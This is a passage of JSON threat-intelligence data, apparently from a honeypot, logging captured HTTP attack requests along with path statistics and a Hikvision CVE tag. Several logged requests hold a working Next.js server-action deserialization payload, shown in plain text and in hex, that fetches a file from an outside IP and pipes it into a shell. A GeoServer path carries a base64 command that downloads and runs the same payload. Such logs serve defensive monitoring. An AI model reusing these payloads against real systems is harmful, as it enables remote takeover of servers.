name=\"2\"\r\n\r\n[]\r\n--56f39db67cc18f9b00960d7c3a640f1a--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/_next","summary":"","payload_hex":"504f5354202f5f6e65787420485454502f312e310d0a486f73743a203139322e332e3131382e3134363a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d35366633396462363763633138663962303039363064376333613634306631610d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d35366633396462363763633138663962303039363064376333613634306631610d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d35366633396462363763633138663962303039363064376333613634306631610d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d35366633396462363763633138663962303039363064376333613634306631610d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d35366633396462363763633138663962303039363064376333613634306631612d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"dbe27707-764e-4b9d-8f24-71df126c7819","seq":1,"duration_ms":0,"bytes_in":996,"bytes_out":78},{"timestamp":"2026-09-23T07:31:26","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=0b43ce189e7be087093dbb5865a306b8\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0b43ce189e7be087093dbb5865a306b8\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0b43ce189e7be087093dbb5865a306b8\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0b43ce189e7be087093dbb5865a306b8\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0b43ce189e7be087093dbb5865a306b8--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app","summary":"","payload_hex":"504f5354202f61707020485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30623433636531383965376265303837303933646262353836356133303662380d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d30623433636531383965376265303837303933646262353836356133303662380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30623433636531383965376265303837303933646262353836356133303662380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30623433636531383965376265303837303933646262353836356133303662380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30623433636531383965376265303837303933646262353836356133303662382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"ea4239f2-6cd5-4ae4-8f10-593ae4a01b62","seq":1,"duration_ms":0,"bytes_in":994,"bytes_out":78},{"timestamp":"2026-09-23T07:16:29","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"692\",\"content-type\":\"multipart/form-data; boundary=57743f195f4991fee4e51f2a7bf45e47\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--57743f195f4991fee4e51f2a7bf45e47\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'94.249.230.216', port:80, path:'/rondo.aqu', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--57743f195f4991fee4e51f2a7bf45e47\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--57743f195f4991fee4e51f2a7bf45e47\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--57743f195f4991fee4e51f2a7bf45e47--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/route","summary":"","payload_hex":"504f5354202f6170692f726f75746520485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d35373734336631393566343939316665653465353166326137626634356534370d0a436f6e74656e742d4c656e6774683a203639320d0a0d0a2d2d35373734336631393566343939316665653465353166326137626634356534370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a2739342e3234392e3233302e323136272c20706f72743a38302c20706174683a272f726f6e646f2e617175272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d35373734336631393566343939316665653465353166326137626634356534370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d35373734336631393566343939316665653465353166326137626634356534370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d35373734336631393566343939316665653465353166326137626634356534372d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"177f86ba-499b-4d6b-b54e-705f5d5d4338","seq":1,"duration_ms":0,"bytes_in":999,"bytes_out":78}],"http_methods":[{"method":"POST","count":93},{"method":"PUT","count":4},{"method":"GET","count":1}],"distinct_ports_total":5,"top_paths":[{"path":"/apply.cgi","count":19,"ports":1},{"path":"/","count":14,"ports":1},{"path":"/api/route","count":14,"ports":1},{"path":"/_next","count":12,"ports":1},{"path":"/app","count":11,"ports":1},{"path":"/api","count":9,"ports":1},{"path":"/_next/server","count":9,"ports":1},{"path":"/SDK/webLanguage","count":4,"ports":1},{"path":"/tmUnblock.cgi","count":2,"ports":1},{"path":"/goform/set_LimitClient_cfg","count":2,"ports":1},{"path":"/UD/act?1","count":1,"ports":1},{"path":"/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vOTQuMjQ5LjIzMC4yMTYvcm9uZG8uYGB6eXR8fGJ1c3lib3ggd2dldCAtcU8tIGh0dHA6Ly85NC4yNDkuMjMwLjIxNi9yb25kby5gYHp5dHx8Y3VybCAtcyBodHRwOi8vOTQuMjQ5LjIzMC4yMTYvcm9uZG8uYGB6eXQpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27)","count":1,"ports":1}],"distinct_paths_total":12,"top_snis":[],"top_hosts":[{"value":"185.228.81.201","count":9},{"value":"192.3.118.146","count":3}],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"692","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=be9963f90746ceb222c336370bb9f204","notable":true},{"name":"Host","value":"192.3.118.146:3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2021-36260","tag_type":"cve","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage","reference_urls":["https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html","https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/","https://nvd.nist.gov/vuln/detail/CVE-2021-36260","https://github.com/Aiminsun/CVE-2021-36260","https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/"]}],"data_as_of":"2026-09-23T17:07:49.200550+00:00"}